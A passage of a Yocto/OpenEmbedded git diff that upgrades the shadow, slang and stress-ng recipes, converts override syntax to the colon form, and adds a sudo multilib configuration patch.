-SRC_URI_append_class-nativesdk = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
- "
-
-SRC_URI[md5sum] = "3d97f11e66bfb0b14702b115fa8be480"
-SRC_URI[sha256sum] = "3ee3081fbbcbcfea5c8916419e46bc724807bab271072104f23e7a29e9668f3a"
+SRC_URI[sha256sum] = "377fe0d7c1a0aa5e3514c08fdf5ddc70c9dcbb391678c2134445ed97326bcc26"
# Additional Policy files for PAM
PAM_SRC_URI = "file://pam.d/chfn \
@@ -41,22 +36,22 @@ PAM_SRC_URI = "file://pam.d/chfn \
file://pam.d/passwd \
file://pam.d/su"
-inherit autotools gettext
+inherit autotools gettext github-releases pkgconfig
export CONFIG_SHELL="/bin/sh"
-EXTRA_OECONF += "--without-audit \
- --without-libcrack \
- --without-selinux \
+EXTRA_OECONF += " \
--with-group-name-max-length=24 \
--enable-subordinate-ids=yes \
--without-sssd \
${NSCDOPT}"
+CFLAGS:append:libc-musl = " -DLIBBSD_OVERLAY"
+
NSCDOPT = ""
-NSCDOPT_class-native = "--without-nscd"
-NSCDOPT_class-nativesdk = "--without-nscd"
-NSCDOPT_libc-glibc = "--with-nscd"
+NSCDOPT:class-native = "--without-nscd"
+NSCDOPT:class-nativesdk = "--without-nscd"
+NSCDOPT:libc-glibc = "--with-nscd"
PAM_PLUGINS = "libpam-runtime \
pam-plugin-faildelay \
@@ -65,7 +60,6 @@ PAM_PLUGINS = "libpam-runtime \
pam-plugin-env \
pam-plugin-group \
pam-plugin-limits \
- pam-plugin-lastlog \
pam-plugin-motd \
pam-plugin-mail \
pam-plugin-shells \
@@ -73,17 +67,21 @@ PAM_PLUGINS = "libpam-runtime \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)}"
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native ??= "${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} libbsd"
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[pam] = "--with-libpam,--without-libpam,libpam,${PAM_PLUGINS}"
PACKAGECONFIG[attr] = "--with-attr,--without-attr,attr"
PACKAGECONFIG[acl] = "--with-acl,--without-acl,acl"
+PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux libsemanage"
+PACKAGECONFIG[libbsd] = "--with-libbsd,--without-libbsd,libbsd"
+PACKAGECONFIG[logind] = "--enable-logind,--disable-logind,systemd"
-RDEPENDS_${PN} = "shadow-securetty \
+RDEPENDS:${PN} = "shadow-securetty \
base-passwd \
util-linux-sulogin"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}_class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
do_install() {
oe_runmake DESTDIR="${D}" sbindir="${base_sbindir}" usbindir="${sbindir}" install
@@ -112,15 +110,11 @@ do_install() {
# Use proper encryption for passwords
sed -i 's/^#ENCRYPT_METHOD.*$/ENCRYPT_METHOD SHA512/' ${D}${sysconfdir}/login.defs
- # Now we don't have a mail system. Disable mail creation for now.
- sed -i 's:/bin/bash:/bin/sh:g' ${D}${sysconfdir}/default/useradd
- sed -i '/^CREATE_MAIL_SPOOL/ s:^:#:' ${D}${sysconfdir}/default/useradd
-
- # Use users group by default
- sed -i 's,^GROUP=1000,GROUP=100,g' ${D}${sysconfdir}/default/useradd
+ install -d ${D}${sysconfdir}/default
+ install -m 0644 ${WORKDIR}/useradd ${D}${sysconfdir}/default
}
-do_install_append() {
+do_install:append() {
# Ensure that the image has as a /var/spool/mail dir so shadow can
# put mailboxes there if the user reconfigures shadow to its
# defaults (see sed below).
@@ -150,10 +144,32 @@ do_install_append() {
# Handle link properly after rename, otherwise missing files would
# lead rpm failed dependencies.
ln -sf newgrp.${BPN} ${D}${bindir}/sg
+
+ # usermod requires the subuid/subgid files to be in place before being
+ # able to use the -v/-V flags otherwise it fails:
+ # usermod: /etc/subuid does not exist, you cannot use the flags -v or -V
+ install -d ${D}${sysconfdir}
+ touch ${D}${sysconfdir}/subuid
+ touch ${D}${sysconfdir}/subgid
}
+# Make executables look for dynamically linked libraries in a custom location, and install
+# the needed libraries there. That way we can use them from sstate
+# in setscene tasks without worrying about the dependency libraries being available.
+do_install:append:class-native() {
+ binaries=$(find ${D}${base_bindir}/ ${D}${base_sbindir}/ ${D}${bindir}/ ${D}${sbindir}/ -executable -type f)
+ chrpath -k -r ${STAGING_DIR_NATIVE}/lib-shadow-deps $binaries
+ mkdir -p ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ libattr=${@bb.utils.contains('DISTRO_FEATURES', 'xattr', "${STAGING_LIBDIR_NATIVE}/libattr.so.*", '', d)}
+ install $libattr ${STAGING_LIBDIR_NATIVE}/libbsd.so.* ${STAGING_LIBDIR_NATIVE}/libmd.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+ install ${D}${libdir}/*.so.* ${D}${STAGING_DIR_NATIVE}/lib-shadow-deps/
+}
+
+SYSROOT_DIRS:append:class-native = " ${STAGING_DIR_NATIVE}/lib-shadow-deps/"
+INSANE_SKIP:${PN}:class-native = "already-stripped"
+
PACKAGES =+ "${PN}-base"
-FILES_${PN}-base = "\
+FILES:${PN}-base = "\
${base_bindir}/login.shadow \
${base_bindir}/su.shadow \
${bindir}/sg \
@@ -163,31 +179,26 @@ FILES_${PN}-base = "\
${sysconfdir}/pam.d/su \
${sysconfdir}/login.defs \
"
-RDEPENDS_${PN} += "${PN}-base"
+RDEPENDS:${PN} += "${PN}-base"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "200"
-ALTERNATIVE_${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE:${PN} = "passwd chfn chsh chpasswd vipw vigr nologin"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
ALTERNATIVE_LINK_NAME[chpasswd] = "${sbindir}/chpasswd"
ALTERNATIVE_LINK_NAME[vipw] = "${base_sbindir}/vipw"
ALTERNATIVE_LINK_NAME[vigr] = "${base_sbindir}/vigr"
ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
-ALTERNATIVE_${PN}-base = "newgrp groups login su"
+ALTERNATIVE:${PN}-base = "newgrp groups login su"
ALTERNATIVE_LINK_NAME[login] = "${base_bindir}/login"
ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
-ALTERNATIVE_${PN}-doc = "passwd.5 getspnam.3 groups.1 su.1 nologin.8"
-ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
-ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
-ALTERNATIVE_LINK_NAME[groups.1] = "${mandir}/man1/groups.1"
-ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
-ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
-
PACKAGE_WRITE_DEPS += "shadow-native"
-pkg_postinst_${PN}_class-target () {
+pkg_postinst:${PN}:class-target () {
if [ "x$D" != "x" ]; then
rootarg="--root $D"
else
diff --git a/meta/recipes-extended/shadow/shadow_4.15.0.bb b/meta/recipes-extended/shadow/shadow_4.15.0.bb
new file mode 100644
index 0000000000..e57676c1da
--- /dev/null
+++ b/meta/recipes-extended/shadow/shadow_4.15.0.bb
@@ -0,0 +1,10 @@
+require shadow.inc
+
+# Build falsely assumes that if --enable-libpam is set, we don't need to link against
+# libcrypt. This breaks chsh.
+BUILD_LDFLAGS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# https://bugzilla.redhat.com/show_bug.cgi?id=884658
+CVE_STATUS[CVE-2013-4235] = "upstream-wontfix: Severity is low and marked as closed and won't fix."
diff --git a/meta/recipes-extended/shadow/shadow_4.8.1.bb b/meta/recipes-extended/shadow/shadow_4.8.1.bb
deleted file mode 100644
index c975395ff8..0000000000
--- a/meta/recipes-extended/shadow/shadow_4.8.1.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require shadow.inc
-
-# Build falsely assumes that if --enable-libpam is set, we don't need to link against
-# libcrypt. This breaks chsh.
-BUILD_LDFLAGS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '-lcrypt', '', d)}"
-
-BBCLASSEXTEND = "native nativesdk"
-
-
-
diff --git a/meta/recipes-extended/slang/slang/dont-link-to-host.patch b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
index 42dba0fae4..4b02068991 100644
--- a/meta/recipes-extended/slang/slang/dont-link-to-host.patch
+++ b/meta/recipes-extended/slang/slang/dont-link-to-host.patch
@@ -1,3 +1,8 @@
+From b4a6e3c8309cff0f2311cd959c5091213b633851 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 7 Feb 2017 14:35:43 +0000
+Subject: [PATCH] slang: rewrite recipe to run autoconf
+
SLANG_INST_LIB is the location of where slang will end up, but when building for
packaging this doesn't have DESTDIR appended so can potentially link to the host
for cross builds and will trigger QA errors.
@@ -7,10 +12,20 @@ As this is obviously wrong, delete it.
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ slsh/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
diff --git a/slsh/Makefile.in b/slsh/Makefile.in
-index cba9d81..4c1c370 100644
+index addd343..63a5c9b 100644
--- a/slsh/Makefile.in
+++ b/slsh/Makefile.in
-@@ -80 +80 @@ SHELL = /bin/sh
--INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
-+INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(READLINE_LIB) $(DYNAMIC_LIBS)
+@@ -77,7 +77,7 @@ SLSYSWRAP_LIB = @LIB_SLSYSWRAP@
+ #----------------------------------------------------------------------------
+ @SET_MAKE@
+ SHELL = /bin/sh
+-INST_LIBS = $(DEST_LIB_DIR) $(RPATH) $(SLANG_INST_LIB) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
++INST_LIBS = $(DEST_LIB_DIR) $(RPATH) -lslang $(LDFLAGS) $(READLINE_LIB) $(DYNAMIC_LIBS)
+ DEFS = -DSLSH_CONF_DIR='"$(SLSH_CONF_DIR)"' -DSLSH_PATH='"$(SLSH_LIB_DIR)"' \
+ -DSLSH_CONF_DIR_ENV='$(SLSH_CONF_DIR_ENV)' -DSLSH_LIB_DIR_ENV='$(SLSH_LIB_DIR_ENV)' \
+ -DSLSH_PATH_ENV='$(SLSH_PATH_ENV)' $(SLSYSWRAP_DEF)
diff --git a/meta/recipes-extended/slang/slang/terminfo_fixes.patch b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
index 3e6d15aa79..331b7f02e4 100644
--- a/meta/recipes-extended/slang/slang/terminfo_fixes.patch
+++ b/meta/recipes-extended/slang/slang/terminfo_fixes.patch
@@ -1,15 +1,30 @@
+From 2a75095638002d37a2f9c7aeb0ec54f271b0a1c4 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Tue, 1 Aug 2017 12:36:53 -0700
+Subject: [PATCH] slang: fix terminfo related problems
+
Do not use the JD_TERMCAP macro since we cannot get the terminfo from
ncurses pkg-config, but fix the macro to not reference host directories.
Also add src/test/Makefile.in so that we can use -ltermcap if we want to.
-Upstream-Status: Pending
+Upstream isn't going to take this, as it forces blank values and
+removes functionality without replacing it.
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ autoconf/aclocal.m4 | 8 +---
+ autoconf/configure.ac | 11 +++++-
+ src/test/Makefile.in | 90 +++++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 100 insertions(+), 9 deletions(-)
+ create mode 100644 src/test/Makefile.in
+diff --git a/autoconf/aclocal.m4 b/autoconf/aclocal.m4
+index b2dfcd3..5f94ed3 100644
--- a/autoconf/aclocal.m4
+++ b/autoconf/aclocal.m4
-@@ -506,14 +506,10 @@ then
+@@ -509,15 +509,9 @@ then
else
MISC_TERMINFO_DIRS=""
fi
@@ -17,8 +32,8 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
- /usr/lib/terminfo \
- /usr/share/terminfo \
- /usr/share/lib/terminfo \
-- /usr/local/lib/terminfo"
-+
+- /usr/local/lib/terminfo \
+- /etc/terminfo /lib/terminfo"
TERMCAP=-ltermcap
-for terminfo_dir in $JD_Terminfo_Dirs
@@ -26,9 +41,11 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
do
if test -d $terminfo_dir
then
+diff --git a/autoconf/configure.ac b/autoconf/configure.ac
+index 8e11e13..9e6402c 100644
--- a/autoconf/configure.ac
+++ b/autoconf/configure.ac
-@@ -249,7 +249,14 @@ AC_CHECK_SIZEOF(size_t)
+@@ -250,7 +250,14 @@ AC_CHECK_SIZEOF(size_t)
JD_CHECK_LONG_LONG
JD_LARGE_FILE_SUPPORT
@@ -44,7 +61,7 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
JD_GCC_WARNINGS
JD_SET_OBJ_SRC_DIR(src)
-@@ -364,7 +371,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/confi
+@@ -365,7 +372,7 @@ AC_CONFIG_HEADER(src/sysconf.h:src/config.hin)
dnl AC_CONFIG_SUBDIRS(demo)
AC_OUTPUT(Makefile:autoconf/Makefile.in \
@@ -53,6 +70,9 @@ Signed-off-by: Joe Slater <joe.slater@windriver.com>
slang.pc:autoconf/slangpc.in \
)
+diff --git a/src/test/Makefile.in b/src/test/Makefile.in
+new file mode 100644
+index 0000000..4b7307f
--- /dev/null
+++ b/src/test/Makefile.in
@@ -0,0 +1,90 @@
diff --git a/meta/recipes-extended/slang/slang_2.3.2.bb b/meta/recipes-extended/slang/slang_2.3.2.bb
deleted file mode 100644
index 99efb16da6..0000000000
--- a/meta/recipes-extended/slang/slang_2.3.2.bb
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "The shared library for the S-Lang extension language"
-
-DESCRIPTION = "S-Lang is an interpreted language and a programming library. The \
-S-Lang language was designed so that it can be easily embedded into \
-a program to provide the program with a powerful extension language. \
-The S-Lang library, provided in this package, provides the S-Lang \
-extension language. S-Lang's syntax resembles C, which makes it easy \
-to recode S-Lang procedures in C if you need to."
-
-HOMEPAGE = "http://www.jedsoft.org/slang/"
-SECTION = "libs"
-DEPENDS = "ncurses virtual/libiconv"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
-
-SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
- file://no-x.patch \
- file://dont-link-to-host.patch \
- file://test-add-output-in-the-format-result-testname.patch \
- file://terminfo_fixes.patch \
- file://array_test.patch \
- file://run-ptest \
- "
-
-SRC_URI[md5sum] = "c2d5a7aa0246627da490be4e399c87cb"
-SRC_URI[sha256sum] = "fc9e3b0fc4f67c3c1f6d43c90c16a5c42d117b8e28457c5b46831b8b5d3ae31a"
-
-UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
-PREMIRRORS_append = "\n http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/ \n"
-
-inherit autotools-brokensep ptest
-CLEANBROKEN = "1"
-
-EXTRA_OECONF = "--without-onig"
-# There's no way to turn off rpaths and slang will -rpath to the default search
-# path. Unset RPATH to stop this.
-EXTRA_OEMAKE = "RPATH=''"
-
-PACKAGECONFIG ??= "pcre"
-PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,pcre"
-PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
-PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
-
-do_configure_prepend() {
- cd ${S}/autoconf
- # slang keeps configure.ac and rest of autoconf files in autoconf/ directory
- # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
- # to be present. Resulting files land in autoconf/autoconf/ so we need to move them.
- gnu-configize --force && mv autoconf/config.* .
- # For the same reason we also need to run autoconf manually.
- autoconf && mv configure ..
- cd ${B}
-}
-
-do_compile_ptest() {
- oe_runmake -C src static
- oe_runmake -C src/test sltest
-}
-
-do_install_ptest() {
- mkdir ${D}${PTEST_PATH}/test
- for f in Makefile sltest runtests.sh *.sl *.inc; do
- cp ${S}/src/test/$f ${D}${PTEST_PATH}/test/
- done
- sed -e 's/\ \$(TEST_PGM)\.c\ assoc\.c\ list\.c\ \$(SLANGLIB)\/libslang\.a//' \
- -e '/\$(CC).*(TEST_PGM)/d' \
- -i ${D}${PTEST_PATH}/test/Makefile
-
- cp ${S}/slsh/lib/require.sl ${D}${PTEST_PATH}/test/
- sed -i 's/\.\.\/\.\.\/slsh\/lib\/require\.sl/require\.sl/' ${D}${PTEST_PATH}/test/req.sl
-
- cp ${S}/doc/text/slangfun.txt ${D}${PTEST_PATH}/test/
- sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
-}
-
-FILES_${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
-
-RDEPENDS_${PN}-ptest += "make"
-
-PARALLEL_MAKE = ""
-PARALLEL_MAKEINST = ""
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/slang/slang_2.3.3.bb b/meta/recipes-extended/slang/slang_2.3.3.bb
new file mode 100644
index 0000000000..05b8aff0f2
--- /dev/null
+++ b/meta/recipes-extended/slang/slang_2.3.3.bb
@@ -0,0 +1,83 @@
+SUMMARY = "The shared library for the S-Lang extension language"
+
+DESCRIPTION = "S-Lang is an interpreted language and a programming library. The \
+S-Lang language was designed so that it can be easily embedded into \
+a program to provide the program with a powerful extension language. \
+The S-Lang library, provided in this package, provides the S-Lang \
+extension language. S-Lang's syntax resembles C, which makes it easy \
+to recode S-Lang procedures in C if you need to."
+
+HOMEPAGE = "http://www.jedsoft.org/slang/"
+SECTION = "libs"
+DEPENDS = "ncurses virtual/libiconv"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a52a18a472d4f7e45479b06563717c02"
+
+SRC_URI = "http://www.jedsoft.org/releases/${BPN}/${BP}.tar.bz2 \
+ file://no-x.patch \
+ file://dont-link-to-host.patch \
+ file://test-add-output-in-the-format-result-testname.patch \
+ file://terminfo_fixes.patch \
+ file://array_test.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "f9145054ae131973c61208ea82486d5dd10e3c5cdad23b7c4a0617743c8f5a18"
+
+UPSTREAM_CHECK_URI = "http://www.jedsoft.org/releases/slang/"
+PREMIRRORS:append = " http://www.jedsoft.org/releases/slang/.* http://www.jedsoft.org/releases/slang/old/"
+
+inherit autotools-brokensep ptest
+CLEANBROKEN = "1"
+
+EXTRA_OECONF = "--without-onig"
+# There's no way to turn off rpaths and slang will -rpath to the default search
+# path. Unset RPATH to stop this.
+EXTRA_OEMAKE = "RPATH=''"
+
+PACKAGECONFIG ??= "pcre"
+PACKAGECONFIG[pcre] = "--with-pcre=${STAGING_DIR_HOST}${prefix},--without-pcre,pcre"
+PACKAGECONFIG[png] = "--with-png=${STAGING_DIR_HOST}${prefix},--without-png,libpng"
+PACKAGECONFIG[zlib] = "--with-z=${STAGING_DIR_HOST}${prefix},--without-z,zlib"
+
+do_configure:prepend() {
+ cd ${S}/autoconf
+ # slang keeps configure.ac and rest of autoconf files in autoconf/ directory
+ # we have to go there to be able to run gnu-configize cause it expects configure.{in,ac}
+ # to be present. Resulting files land in autoconf/autoconf/ so we need to move them.
+ gnu-configize --force && mv autoconf/config.* .
+ # For the same reason we also need to run autoconf manually.
+ autoconf && mv configure ..
+ cd ${B}
+}
+
+do_compile_ptest() {
+ oe_runmake -C src static
+ oe_runmake -C src/test sltest
+}
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ for f in Makefile sltest runtests.sh *.sl *.inc; do
+ cp ${S}/src/test/$f ${D}${PTEST_PATH}/test/
+ done
+ sed -e 's/\ \$(TEST_PGM)\.c\ assoc\.c\ list\.c\ \$(SLANGLIB)\/libslang\.a//' \
+ -e '/\$(CC).*(TEST_PGM)/d' \
+ -i ${D}${PTEST_PATH}/test/Makefile
+
+ cp ${S}/slsh/lib/require.sl ${D}${PTEST_PATH}/test/
+ sed -i 's/\.\.\/\.\.\/slsh\/lib\/require\.sl/require\.sl/' ${D}${PTEST_PATH}/test/req.sl
+
+ cp ${S}/doc/text/slangfun.txt ${D}${PTEST_PATH}/test/
+ sed -i 's/\.\.\/\.\.\/doc\/text\/slangfun\.txt/slangfun\.txt/' ${D}${PTEST_PATH}/test/docfun.sl
+}
+
+FILES:${PN} += "${libdir}/${BPN}/v2/modules/ ${datadir}/slsh/"
+
+RDEPENDS:${PN}-ptest += "make"
+
+PARALLEL_MAKE = ""
+PARALLEL_MAKEINST = ""
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch b/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
deleted file mode 100644
index c860c717ac..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From bbc85a439672120fa1d36be79e959b28fe840919 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 30 Jul 2019 18:38:03 +0200
-Subject: [PATCH] Do not preserve ownership when installing example jobs
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index f36e57e..20488af 100644
---- a/Makefile
-+++ b/Makefile
-@@ -452,6 +452,6 @@ install: stress-ng stress-ng.1.gz
- mkdir -p ${DESTDIR}${MANDIR}
- cp stress-ng.1.gz ${DESTDIR}${MANDIR}
- mkdir -p ${DESTDIR}${JOBDIR}
-- cp -rp example-jobs/*.job ${DESTDIR}${JOBDIR}
-+ cp -r example-jobs/*.job ${DESTDIR}${JOBDIR}
- mkdir -p ${DESTDIR}${BASHDIR}
- cp bash-completion/stress-ng ${DESTDIR}${BASHDIR}
diff --git a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch b/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
deleted file mode 100644
index dba4494b91..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 55e11765af2bdc8adfac87dab1fb2682f7e6c236 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 9 Jun 2020 22:10:28 -0700
-Subject: [PATCH] Define daddr_t if __DADDR_T_TYPE is not defined
-
-glibc defined daddr_t but musl does not, ideally it should not be used
-and simple int type is enough. However, its better to leave glibc behavior
-as it is and only define it to int if daddr_t is not provided by libc
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- stress-ng.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/stress-ng.h b/stress-ng.h
-index 1a66293..802dc25 100644
---- a/stress-ng.h
-+++ b/stress-ng.h
-@@ -3763,6 +3763,10 @@ struct shim_statx {
- uint64_t __spare2[14];
- };
-
-+#ifndef __DADDR_T_TYPE
-+typedef int daddr_t;
-+#endif
-+
- /* old ustat struct */
- struct shim_ustat {
- #if defined(HAVE_DADDR_T)
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb b/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb
deleted file mode 100644
index a67df24dca..0000000000
--- a/meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "System load testing utility"
-DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
-imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
-HOMEPAGE = "https://kernel.ubuntu.com/~cking/stress-ng/"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "https://kernel.ubuntu.com/~cking/tarballs/${BPN}/${BP}.tar.xz \
- file://0001-Do-not-preserve-ownership-when-installing-example-jo.patch \
- file://no_daddr_t.patch \
- "
-SRC_URI[sha256sum] = "860291dd3a18b985b3483190a627bbede2b5c52113766c1921001b3fb4b83af0"
-
-DEPENDS = "coreutils-native"
-
-PROVIDES = "stress"
-RPROVIDES_${PN} = "stress"
-RREPLACES_${PN} = "stress"
-RCONFLICTS_${PN} = "stress"
-
-inherit bash-completion
-
-do_install() {
- oe_runmake DESTDIR=${D} install
- ln -s stress-ng ${D}${bindir}/stress
-}
-
diff --git a/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb b/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb
new file mode 100644
index 0000000000..a52b70d22f
--- /dev/null
+++ b/meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb
@@ -0,0 +1,36 @@
+SUMMARY = "System load testing utility"
+DESCRIPTION = "Deliberately simple workload generator for POSIX systems. It \
+imposes a configurable amount of CPU, memory, I/O, and disk stress on the system."
+HOMEPAGE = "https://github.com/ColinIanKing/stress-ng#readme"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master \
+ "
+SRCREV = "e6bda983cb48a201b6af173204372c7b37d6411f"
+S = "${WORKDIR}/git"
+
+DEPENDS = "coreutils-native libbsd"
+
+PROVIDES = "stress"
+RPROVIDES:${PN} = "stress"
+RREPLACES:${PN} = "stress"
+RCONFLICTS:${PN} = "stress"
+
+inherit bash-completion
+
+EXTRA_OEMAKE = "VERBOSE=1"
+
+do_configure() {
+ mkdir -p configs
+ touch configs/HAVE_APPARMOR
+ oe_runmake makeconfig
+}
+
+do_install() {
+ oe_runmake DESTDIR=${D} BINDIR=${bindir} install
+ ln -s stress-ng ${D}${bindir}/stress
+}
+
+# upstream issue: https://github.com/ColinIanKing/stress-ng/issues/315
+DEBUG_BUILD = "0"
diff --git a/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
new file mode 100644
index 0000000000..041c717e00
--- /dev/null
+++ b/meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch
@@ -0,0 +1,62 @@
+From 6e835350b7413210c410d3578cfab804186b7a4f Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Tue, 17 Nov 2020 11:13:40 +0800
+Subject: [PATCH] sudo.conf.in: fix conflict with multilib
+
+When pass ${libdir} to --libexecdir of sudo, it fails to install sudo
+and lib32-sudo at same time:
+
+| Error: Transaction test error:
+| file /etc/sudo.conf conflicts between attempted installs of
+ sudo-1.9.3p1-r0.core2_64 and lib32-sudo-1.9.3p1-r0.core2_32
+
+Update the comments in sudo.conf.in to avoid the conflict.
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Upstream-Status: Inappropriate [OE configuration specific]
+
+---
+ examples/sudo.conf.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/examples/sudo.conf.in b/examples/sudo.conf.in
+index 2187457..0908d24 100644
+--- a/examples/sudo.conf.in
++++ b/examples/sudo.conf.in
+@@ -4,7 +4,7 @@
+ # Sudo plugins:
+ # Plugin plugin_name plugin_path plugin_options ...
+ #
+-# The plugin_path is relative to @plugindir@ unless
++# The plugin_path is relative to $plugindir such as /usr/lib/sudo unless
+ # fully qualified.
+ # The plugin_name corresponds to a global symbol in the plugin
+ # that contains the plugin interface structure.
+@@ -51,7 +51,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_intercept.so file.
+ #
+-#Path intercept @intercept_file@
++#Path intercept $intercept_file
+
+ #
+ # Sudo noexec:
+@@ -65,7 +65,7 @@
+ # The compiled-in value is usually sufficient and should only be changed
+ # if you rename or move the sudo_noexec.so file.
+ #
+-#Path noexec @noexec_file@
++#Path noexec $noexec_file
+
+ #
+ # Sudo plugin directory:
+@@ -74,7 +74,7 @@
+ # The default directory to use when searching for plugins that are
+ # specified without a fully qualified path name.
+ #
+-#Path plugin_dir @plugindir@
++#Path plugin_dir $plugindir
+
+ #
+ # Core dumps:
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 86a18be7e2..feb1cf35a7 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
